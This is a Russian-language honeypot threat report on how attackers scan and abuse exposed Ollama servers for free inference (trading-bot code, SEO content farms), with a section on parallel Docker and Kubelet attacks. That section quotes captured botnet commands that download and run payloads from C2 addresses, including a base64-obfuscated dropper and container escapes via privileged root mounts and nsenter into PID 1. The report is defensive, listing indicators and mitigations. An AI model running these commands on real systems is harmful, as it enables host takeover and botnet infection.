Охота на AI-инфраструктуру, часть 2: что делают с чужим Ollama — от трейдинг-ботов до контент-ферм. AI Security.. AI Security. container security.. AI Security. container security. docker.. AI Security. container security. docker. honeypot.. AI Security. container security. docker. honeypot. llm.. AI Security. container security. docker. honeypot. llm. ollama.. AI Security. container security. docker. honeypot. llm. ollama. resource hijacking.. AI Security. container security. docker. honeypot. llm. ollama. resource hijacking. threat intelligence.. AI Security. container security. docker. honeypot. llm. ollama. resource hijacking. threat intelligence. Информационная безопасность.. AI Security. container security. docker. honeypot. llm. ollama. resource hijacking. threat intelligence. Информационная безопасность. Машинное обучение.

В первой части я рассказал, как ханипот поймал сканер MCP-серверов — новый вектор разведки, нацеленный на AI-инфраструктуру. Сегодня — про другую сторону: что происходит, когда атакующий находит открытый Ollama.

Статья документирует реальные сессии злоупотребления открытыми LLM-инстансами: кто подключается, какие промпты шлёт, какие модели запрашивает. Данные собраны с трёх ханипотов (DE, US, RU) за март 2026.

Зачем это нужно

Ollama — популярный способ запускать LLM локально. По умолчанию он слушает на 127.0.0.1:11434, но в Docker-окружении биндится на 0.0.0.0. Множество гайдов рекомендуют выставить OLLAMA_HOST=0.0.0.0 для удалённого доступа — и без аутентификации (которой в Ollama просто нет) это делает инстанс публичным. Shodan находит сотни тысяч таких серверов. Но что конкретно делают те, кто их находит?

Я добавил Ollama-ханипот в свою сеть из 9 контейнеров на трёх серверах (Германия, США, Россия). Ханипот эмулирует Ollama API: отвечает на /api/tags, /api/version, /api/generate, /v1/chat/completions, возвращает шаблонные ответы и логирует все входящие запросы с телом. Реальный инференс не выполняется — но промпты приходят в теле HTTP-запроса и записываются до отправки ответа, поэтому мы видим полный контекст: какие модели запрашивают, какие задачи ставят, и даже историю диалога, которую клиент пересылает в поле messages.

Фаза 1: разведка

Первое, что делает каждый сканер — проверяет, живой ли инстанс и какие модели доступны.

Проверка доступности

GET /api/tags          — список моделей (Ollama native API)
GET /v1/models         — список моделей (OpenAI-совместимый API)
GET /api/version       — версия Ollama
GET /                  — просто 200 OK?

На US-ноде за неделю: 244 запроса /v1/models, 58 запросов /api/tags, 27 запросов /api/version. Кто-то проверяет одну ноду раз в 20 минут.

Health-check бот

Отдельная категория — автоматический мониторинг. На US-ноде один IP шлёт POST /v1/chat/completions с телом:

{"messages": [{"role": "user", "content": "health-check"}]}

244 таких запроса подряд. Это не разовая проверка — это систематический мониторинг доступности. По всей видимости, кто-то добавил наш ханипот в список открытых Ollama-инстансов и периодически проверяет, отвечает ли он, перед отправкой реальных задач.

Перебор моделей

Практически все, кто идёт дальше разведки, перебирают несколько моделей:

model=llama3.1:8b     prompt=Hello
model=qwen2.5:7b      prompt=Hello
model=codellama:13b    prompt=Hello
model=mistral:7b       prompt=hello
model=deepseek:33b     prompt=test
model=llama3.2         prompt=hello

Паттерн: отправить Hello или hi в каждую модель из списка. Если хоть одна ответит — инстанс пригоден для эксплуатации.

Интересен набор моделей: llama3.1, qwen2.5, codellama, mistral, deepseek — это топ-5 self-hosted моделей по популярности. Сканеры знают рынок.

Фаза 2: эксплуатация

Те, кто получил ответ на Hello, переходят к использованию. Мы зафиксировали три типа.

Тип A: трейдинг-бот ищет бесплатный бэкенд

На US-ноде после серии health-check запросов приходит реальная задача:

{
  "messages": [{
    "role": "user",
    "content": "Write Python 3 code for:ndef backtest_strategy(prices: list[float]) -> float:nUse a 10-period fast SMA and 50-period slow SMA crossover on prices, long when fast > slow, flat/short when fast < slow, and return total PnL as a float. Output only that function, no extra text."
  }]
}

Один и тот же промпт отправлен 12 раз — через /api/chat, /v1/chat/completions, /v1/completions — на три разные модели (llama3.1:8b, qwen2.5:7b, codellama:13b).

Это автоматизированный трейдинг-пайплайн, который:

  1. Сканирует интернет в поисках открытых Ollama

  2. Проверяет доступность (health-check)

  3. Отправляет задачу генерации торговой стратегии

  4. Пробует все доступные модели и API-эндпоинты

  5. Выбирает лучший результат

Бесплатный GPU для алготрейдинга за чужой счёт.

Тип B: китайский студент учит марксизм

Нетипичная сессия на US-ноде. Кто-то через /v1/v1/chat/completions (двойной /v1/ — баг в клиенте) отправляет запрос, в поле messages которого видна предыдущая реплика ассистента:

Я — GLM (General Language Model), большая языковая модель, разработанная Z.ai.
Я обучена на масштабных текстовых данных...

Это Zhipu AI GLM — китайская LLM. Пользователь, видимо, настроил прокси через наш ханипот как бэкенд для GLM-совместимого клиента.

Затем приходит реальный промпт:

做一个学习毛泽东的矛盾论 有30张卡片的anki牌组

«Сделай набор из 30 Anki-карточек для изучения “Противоречий” Мао Цзэдуна»

Откуда мы знаем, что был диалог? Клиент передаёт историю в поле messages — мы видим и system prompt, и предыдущие реплики ассистента (включая готовый набор из 30 Anki-карточек в формате CSV), и новый вопрос пользователя. Наш ханипот не генерировал эти карточки — они пришли от предыдущего LLM-бэкенда, к которому клиент был подключён ранее. Это реальный студент, который (вероятно через агрегатор) подключился к открытому Ollama как бэкенду для своего LLM-приложения.

Финальный вопрос в сессии: 你是什么模型 — «Ты какая модель?». Студент заметил, что ответы идут не от привычного GLM.

Тип C: контент-ферма на RU-ноде

На российской ноде — массовая генерация SEO-контента. Характерный паттерн:

Answer the following question thoroughly and in detail.

Question: How have neural networks and deep learning transformed AI?

RULES:
- Write a complete, detailed answer.
- Do NOT repeat the question.
- Do NOT add a preamble.
- Your LAST line must be exactly: ##ANSWER_DONE##

Answer:

Маркер ##ANSWER_DONE## — стоп-слово для парсера, который автоматически извлекает ответы.

Один и тот же шаблон с разными вопросами отправляется на три модели одновременно: llama3.1:8b, qwen2.5:7b, codellama:13b. Вероятно, система сравнивает ответы и выбирает лучший.

Темы — типичный SEO-контент про AI: «роль машинного обучения», «эволюция AI в 1970-80е», «нейросети и глубокое обучение». Промышленная генерация статей за чужой GPU.

Ещё интересный паттерн: вопрос "Reply with just 'OK'" был разложен ботом на 4 подвопроса («что это значит?», «зачем кто-то просит ответить OK?», «есть ли альтернативы?», «в каком контексте это уместно?»), и каждый подвопрос отправлен на все 3 модели. Это chain-of-thought разбивка — признак AI-агента, а не живого пользователя.

Параллельные атаки: Docker и Kubelet

Атакующие сканируют не только Ollama — на тех же IP-адресах наших серверов мы видим параллельные атаки на всю AI/ML-инфраструктуру. Docker и Kubelet ханипоты дополняют картину.

Docker: побег из контейнера через nsenter

Docker-ханипот (порт 2375, без TLS) ловит два ботнета:

Ботнет docker.selfrep (C2: 31.57.216.121) — exec в существующие контейнеры:

{
  "Cmd": ["sh", "-c",
    "(wget --no-check-certificate -qO- https://31.57.216.121/sh || curl -sk https://31.57.216.121/sh) | sh -s docker.selfrep"]
}

Бьёт все три ноды одинаково. Вариант для SSH-версии (apache.selfrep) зафиксирован на порту 22.

Ботнет с container escape (C2: 45.194.92.39) — серьёзнее. Создаёт привилегированный контейнер с монтированием корня хоста:

{
  "Image": "alpine",
  "Cmd": ["sh", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"],
  "HostConfig": {
    "Binds": ["/:/host"],
    "Privileged": true
  }
}

Base64 декодируется в:

wget http://45.194.92.39/move; curl -O http://45.194.92.39/move;
chmod 777 move; sh move; rm -rf move; rm -rf move.*

А если привилегированный контейнер не получается, второй метод — nsenter escape:

{
  "Cmd": ["nsenter", "--target", "1",
    "--mount", "--uts", "--ipc", "--net", "--pid",
    "--", "bash", "-c", "echo d2dldCBodHRw...== | base64 -d | sh"]
}

nsenter --target 1 — вход в namespace PID 1 (init-процесс хоста). Это полный побег из контейнера.

Kubelet: разведка Kubernetes + поиск ML-пайплайнов

Kubelet-ханипот (порт 10250) ловит:

GET /api/v1/pods
GET /api/v1/nodes
GET /api/v1/services
GET /api/v1/endpoints
GET /healthz
POST /update_weights_from_tensor   ← ML-специфичный эндпоинт

/update_weights_from_tensor — это не стандартный Kubernetes API. Возможно, кто-то ищет кастомные ML-пайплайны, но это может быть и результатом общего фаззинга. Сам факт появления ML-специфичных эндпоинтов в сканерах — показателен.

IOC

Тип

Значение

Контекст

IP

31[.]57[.]216[.]121

C2 ботнета docker.selfrep / apache.selfrep

IP

45[.]194[.]92[.]39

C2, container escape через nsenter + privileged mount

URL

hxxp://45[.]194[.]92[.]39/move

Payload dropper

URL

hxxps://31[.]57[.]216[.]121/sh

Dropper shell-script

Паттерн

##ANSWER_DONE##

Маркер окончания в промптах контент-фермы

Паттерн

health-check

Health-check бот для мониторинга открытых LLM

User-Agent

gitmc-org-mcp-scanner/1.0.0

MCP-сканер (из части 1)

Эндпоинт

POST /update_weights_from_tensor

ML-специфичный эндпоинт через Kubelet

MITRE ATT&CK

Техника

Где

T1595.002 Active Scanning: Vulnerability Scanning

Сканирование Ollama, Docker, Kubelet

T1496.001 Compute Hijacking

Использование чужого GPU для инференса

T1610 Deploy Container

Docker: создание alpine-контейнера

T1611 Escape to Host

nsenter –target 1, Privileged + Binds:[“/:/host”]

T1613 Container and Resource Discovery

/containers/json, /api/v1/pods

T1059.004 Command and Scripting Interpreter: Unix Shell

Base64-encoded payload в Cmd

Выводы

  1. Открытый Ollama = бесплатный GPU. Сканеры не просто проверяют доступность — они интегрируют найденные инстансы в автоматизированные пайплайны (трейдинг, SEO, прокси для LLM-клиентов).

  2. Мониторинг перед использованием. Систематические health-check запросы указывают на автоматизированный мониторинг — вероятно, аналогичные проверки идут ко множеству открытых инстансов.

  3. Spray по моделям. Атакующие пробуют 4-5 популярных моделей одновременно: llama3.1, qwen2.5, codellama, mistral, deepseek. Если хоть одна загружена — сервер пригоден.

  4. Контент-фермы масштабируются через чужие GPU. Шаблонные промпты с ##ANSWER_DONE##, параллельная генерация на 3 моделях, автоматический выбор лучшего ответа — индустриальный подход.

  5. Container escape — не теория. В реальных атаках наблюдаем два метода побега: privileged mount (/:/host) и nsenter в PID 1 хоста. Оба с base64-обфускацией.

Как защититься

Ollama:

  • Не выставлять в интернет без аутентификации: OLLAMA_HOST=127.0.0.1

  • Если нужен удалённый доступ: reverse proxy + Basic Auth / OAuth

  • Мониторить /api/generate и /v1/chat/completions на аномальный объём

Docker:

  • Порт 2375 без TLS = game over. Только 2376 + клиентские сертификаты

  • --privileged и Binds:["/:/host"] — блокировать через AppArmor/Seccomp или OPA/Gatekeeper

Kubelet:

  • Порт 10250 не должен быть доступен извне

  • --anonymous-auth=false, --authorization-mode=Webhook


Данные получены с мультисервисного ханипота (9 контейнеров, 29 портов, 3 сервера). Первая часть серии: Охота на AI-инфраструктуру: ханипот поймал сканер MCP-серверов.

Автор: fox52

Источник

Rambler's Top100